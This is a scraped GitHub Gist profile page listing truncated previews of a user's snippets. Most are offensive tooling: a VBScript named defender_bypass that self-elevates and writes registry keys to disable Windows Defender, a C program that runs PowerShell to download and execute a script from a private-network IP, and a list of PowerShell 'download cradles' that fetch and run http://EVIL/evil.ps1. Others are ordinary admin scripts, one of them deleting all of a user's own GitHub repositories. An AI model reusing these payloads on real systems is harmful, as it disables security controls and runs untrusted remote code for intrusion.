Skip to content

Instantly share code, notes, and snippets.

View robpot891's full-sized avatar
🎯
Focusing

robpot891

🎯
Focusing
View GitHub Profile
@robpot891
robpot891 / post-install-mint-ubuntu.sh
Created February 25, 2020 19:42 — forked from thiagomgo/post-install-mint-ubuntu.sh
Post-installation script for Linux Mint/Ubuntu
# Sudo without password
sudo visudo
username ALL=(ALL) NOPASSWD: ALL # At the end of the file
# Get the latest updates
sudo add-apt-repository universe
sudo apt-get update
sudo apt-get -y upgrade
# Manage the repositories that you install
$code = @"
using System.Net;
using System.Reflection;
using System;
using System.Threading;
namespace Nyan
{
public class Cat
@robpot891
robpot891 / defender_bypass.vbs
Created July 5, 2019 02:23
defender_bypass
If Not WScript.Arguments.Named.Exists("elevate") Then
CreateObject("Shell.Application").ShellExecute WScript.FullName _
, """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
WScript.Quit
End If
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware",1,"REG_DWORD"
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring","1","REG_DWORD"
@robpot891
robpot891 / redis_queue.py
Created June 29, 2019 03:37
Redis_LinkDB
# Based loosely on the Redis Cookbook FIFO Queue: http://www.rediscookbook.org/implement_a_fifo_queue.html
from redis import StrictRedis
class RedisQueue:
""" RedisQueue helps store urls to crawl to Redis
Initialization components:
client: a Redis client connected to the key-value database for
the webcrawling cache (if not set, a localhost:6379
default connection is used).
#!/usr/bin/env bash
# Script to reverse engineer the build of a given Debian / Ubuntu server
# I do this all the time: take an existing server, create a Bash / Ansible / Puppet / Chef
# built script, to allow Continuous Depoyment.
# It's tedious, but this script will give you the basics to get started.
# Make sure you have "sudo" access to get all the details.
# setup folders
@robpot891
robpot891 / sedDeleteWord.2File.sh
Created February 14, 2019 05:50
SED - Delete all occurrences word in LIST file into FILE file
#!/bin/bash
#eg.
#bash d2 <(echo -e "1\n2\n3sa ssds\n") <(echo -e "salam 1 OR 2 OR 3sa sss ")
LIST=${1:?"LIST word"}
FILE=${2:?"FILE name not set"}
L=$( sed -e ':a;N;$!ba;s_\n_\x00_g' ${LIST}|sed -e 's_\x00_ \\|_g' -e's_\(\\|\)*$__g')
P='s_\('$L'\)__ig'
@robpot891
robpot891 / delete_all_my_github_repositories.sh
Created December 13, 2018 04:34 — forked from andybeak/delete_all_my_github_repositories.sh
Delete all your github repositories
#!/bin/bash
token="Get from Github"
# Gets a list of the repositories you own (not ones granted through organisation)
curl -H "Authorization: token ${token}" https://api.github.com/user/repos?affiliation=owner | grep git_url | sed -r 's/( "git_url": "git:\/\/github.com\/)//' | sed -r 's/.git",//' > url_list.txt
# Deletes all the repositories it found on the line before
while read r;do curl -XDELETE -H 'Authorization: token ${token}' "https://api.github.com/repos/$r ";done < url_list.txt
rm url_list.txt
@robpot891
robpot891 / apache.c
Created November 17, 2018 06:23
dl&e
/* Apache2.c */
#include<stdio.h>
main()
{
system("powershell.exe \"IEX ((new-object net.webclient).downloadstring('http://192.168.100.147/ps.ps1.txt '))\"");
return 0;
}
#!/usr/bin/env python
import os
import sys
import re
import subprocess
import urllib2
import string
import random
import hashlib
@robpot891
robpot891 / DownloadCradles.ps1
Created October 24, 2018 00:52 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object